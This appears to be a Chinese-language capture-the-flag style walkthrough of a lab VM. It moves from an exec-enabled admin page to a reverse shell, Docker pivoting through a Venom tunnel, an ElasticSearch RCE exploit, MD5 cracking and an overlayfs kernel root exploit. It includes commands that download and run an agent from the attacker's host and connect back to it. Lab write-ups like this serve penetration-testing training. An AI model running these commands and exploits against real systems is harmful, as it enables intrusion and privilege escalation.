攻击机:Kali 靶机:Ubuntu
IP: 192.168.0.133 未知
信息收集
由于在于局域网
使用 nmap 神器进行ip 发现 和扫描
这里使用列出 几种 方式
Nmap
nmap -sV -T4 -O 192.168.0.0/24
-sV 版本探测 -T4 指定扫描过程中使用的时序模板 -O 主机系统探测
arp-scan
arp-scan -l
Netdiscover
Netdiscover
专用于二层发现;可用于无线和交换网络环境;主动和被动探测;
netdiscover -i 指定网卡 -r 网段
netdiscover -l IP.txt #netdiscover -l 指定IP列表netdiscover -i eth0 -r 192.168.0.1/24
目标 IP
找到目标 IP
192.168.0.144
端口扫描
nmap -sV -p 1-65535 192.168.0.144
可以看见开启了 22 端口 和 5000 端口
端口扫描后的思路
22 端口
进行弱密码进行爆破
5000 端口
查看版本信息 是 Werkzeug 0.14.1 (python2 .7 )
基于python2.7 的 框架
查看历史漏洞
CVE-2019-14322 (目录遍历 )
CVE-2019-14806
好像没有什么好用的
那就去看看 5000 端口 都什么页面
5000 端口
这是一个 留言的 社交页面 并告诉我们是安全的
留言 可能存在xss 漏洞 sql注入 等漏洞
目录扫描
Dirb
``dirb http://192.168.0.144:5000/
Dirsearch
`` dirsearch -u “http://192.168.0.144:5000/"
发现/admin 页面
在目录扫描中发现了 另外一个页面 /admin
这个页面介绍了
可以使用把输入的代码 发到exec 去执行
代码执行
这里由于是python的环境
需要找到 是用python 写的 代码去反弹shell
找了 好久 的 python 反弹shell
反弹shell
网页反弹python 反弹shell
这个靶场 我测试了 第一个 可以用其他 反弹shell 在这里不能反弹成功
1 |
|
1 |
|
1 |
|
1 |
|
1 |
|
反弹成功
这直接是root 权限
ls 查看一下
发现了dockerfile 文件
Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。
判断 是否 是docker容器
方法一 :
cat /proc/1/cgroup
如果有这个文件 就代表一定是docker容器了
blkio 有docker 而且hash 值就 在后面
方法二 :
ls ./dockerenv
是docker容器 所以 要进行容器 逃逸
内网
主机发现
本地 ip 和 一开始 ip 不一样更确定是docke’r 容器了
进行内网扫描 ip
最简单的方法就是 ping # 扫描172.17.1.1 - 172.17.254.254并提取有回包的ip
for i in $(seq 1 254);dofor j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done
这里是 靶机 就扫描 几个就好 for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done
存在的 IP 地址
存在 ip 1, 2 , 3
接下来就需要对172.17.0.1和172.17.0.3进行端口扫描,看看它们上面开启了什么服务、有没有漏洞、是否可以渗透进去
内网穿透
由于172.17处于内网网段,kali无法直接访问到,要解决这个问题需要借助内网穿透技术,将kali到172.17内网之间的网络路由打通
**venom 工具 **
利用venom这个工具可以很方便的在kali与内网之间建立一条隧道,然后基于这个隧道生成一个代理,使kali中的众多工具可以通过这个代理访问到目标靶机的内网
**venom **工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers
下载到 linux 之后 解压打开
将agent_linux_x64这个客户端传输到目标系统上,在本机上运行对应的服务端admin_linux_x64
kali本机运行admin_linux_x64,侦听9999端口
执行命令:**./admin_linux_x64 -lport 9999**
把客服端给 靶机
kali 开启 http服务 python3 -m http.server 80
靶机 使用 wget 去获取 客服端文件 wget http://192.168.0.133/agent_linux_x64
赋可执行权限 chmod +x agent_linux_x64
客服端建立连接 ./agent_linux_x64 -rhost 192.168.0.133 -rport 9999
目标主机 和端口
kali 接收到 客服端请求连接
服务端启动socks侦听端口
1 |
|
**proxychains 工具 **
为了让kali上的所有工具都可以挂代理访问内网,还需要使用proxychains这个工具
修改proxychains的配置文件,配置代理类型、IP、端口
执行命令: **sudo vim /etc/proxychains4.conf**
修改成 socke5 127.0.0.1 1080
内网端口扫描
使用工具 前面要加上 **proxychains ****proxychains nmap -Pn -sT 172.17.0.1 **
还是开了5000 端口
**proxychains nmap -Pn -sT 172.17.0.2 **
也是5000 端口
对网页进行查看
设置浏览器代理
和 容器一样的 服务
172.17.0.1 和 2 是一样的服务
172.0.0.3 是一个 wap-wsp
172.17.0.3
172.17.0.3 开启的 9200 端口 服务 是 ElasticSearch 漏洞
因为这个服务 以前有很多 rce 漏洞 使用msf 搜索一下 漏洞expsearchsploit ElasticSearch
就选择第一个cd /usr/share/exploitdb/exploits/linux/remote
proxychains python2 36337.py 172.17.0.3
这样就又的一台 主机
可惜 又是一台 docker 容器
内网目标主机
那现在内网目标主机就是 172.17.0.1 了
但是在刚才的容器 可以发现有一个passwords 文件
查看发现是用户名 和 md5 值
解密
解密网站
https://www.t007.cn/
https://www.cmd5.com/
https://www.somd5.com/
1 |
|
登录目标主机
使用发现的用户名密码进行ssh 登录
经过测试只有 john 可以成功登录
只是一个普通用户
需要进行提权处理
内核提权
uname -a
使用的 3.13 的 内核版本
搜索 linux 3.13 searchsploit linux 3.13
选择
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation | linux/local/37292.c
通过查看源码发现
- 在第139-147行,通过C代码再次执行了gcc命令,将ofs-lib.c编译为ofs-lib.so文件,所以即便在kali上事先编译好了,但是当在目标系统上运行的时候由于目标系统上并没有安装gcc还是会报错;解决的方法有很多,比较简单直接的方法是修改源码内容,将编译部分删除,然后在kali中寻找有没有现成的ofs-lib.so文件
- 第148行,读取了**/tmp/ofs-lib.so文件,所以在目标系统上执行的时候,需要将ofs-lib.so文件放到tmp**目录下才可以成功读取到这个文件
修改源码文件,删除原先的第139-147行,修改后的内容如下
编译修改后的C源码
执行命令: **gcc -o exp 37292.c**
查找kali中是否有ofs-lib.so文件
执行命令: locate ofs-lib.so
或者 find / -name ofs-lib.so
复制到当前目录 cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
开启 http 服务 python3 -m http.server 80
目标主机进入 tmp 目录下面
下载下来之后执行
赋 可执行权限 然后执行
变成 root 权限 了